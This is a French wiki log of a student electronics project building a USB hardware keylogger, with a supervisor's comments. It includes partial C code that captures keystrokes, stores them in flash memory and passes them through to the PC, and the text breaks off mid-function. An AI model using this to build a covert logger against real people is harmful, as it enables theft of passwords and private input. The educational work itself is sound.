&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
